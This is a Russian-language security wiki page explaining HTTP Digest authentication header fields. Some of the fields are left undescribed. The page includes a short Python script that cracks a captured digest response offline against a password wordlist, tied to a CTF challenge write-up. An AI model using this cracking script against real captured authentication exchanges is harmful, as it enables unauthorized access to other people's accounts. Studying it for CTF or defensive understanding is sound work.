Digest auth

Материал из InformationSecurity WIKI
Версия от 16:21, 15 июня 2016; Drakylar (обсуждение | вклад) (Новая страница: «Дайджест-аутентификация доступа ==Описание HTTP Authorization Header== '''username''' - юзернейм авторизо…»)

(разн.) ← Предыдущая | Текущая версия (разн.) | Следующая → (разн.)
Перейти к: навигация, поиск

Дайджест-аутентификация доступа


Описание HTTP Authorization Header

username - юзернейм авторизованного пользователя


realm - сообщение (вероятнее всего содержимое страницы)


nonce -


uri - URI страницы авторизации


response -


opaque -


qop - метод вычисления. Может быть равен auth, auth-int или не определен.


nc -


cnonce -

Brutforce

Скрипт для брутфорса пароля зная куки:


 1 ############################################################################
 2 method="GET"
 3 uri = "/login.php"
 4 username = "factoreal"
 5 realm = "this page for admin only, go out now!"
 6 nonce = "554aed8c0b2d8"
 7 nc = "00000001"
 8 cnonce = "d6d1a0a39a93b4c3"
 9 qop = "auth"
10 response="d9b58c347f96195884ce27036f3c9546"
11 ############################################################################
12 import hashlib
13 password = open('passwords.txt').read().splitlines()
14 h2 = hashlib.md5(method+":"+uri).hexdigest()
15 for i in range(len(password)):
16     h1 = hashlib.md5(username+":"+realm+":" + password[i]).hexdigest()
17     result = hashlib.md5(h1 + ":"+nonce+":"+nc+":"+cnonce+":"+qop+":" + h2).hexdigest()
18     if result == response:
19         print "[*] Password found: " + password[i]
20         exit()


Райтапы

ASIS Quals CTF 2015: Strange Authen


Полезные ссылки

официальная вики страница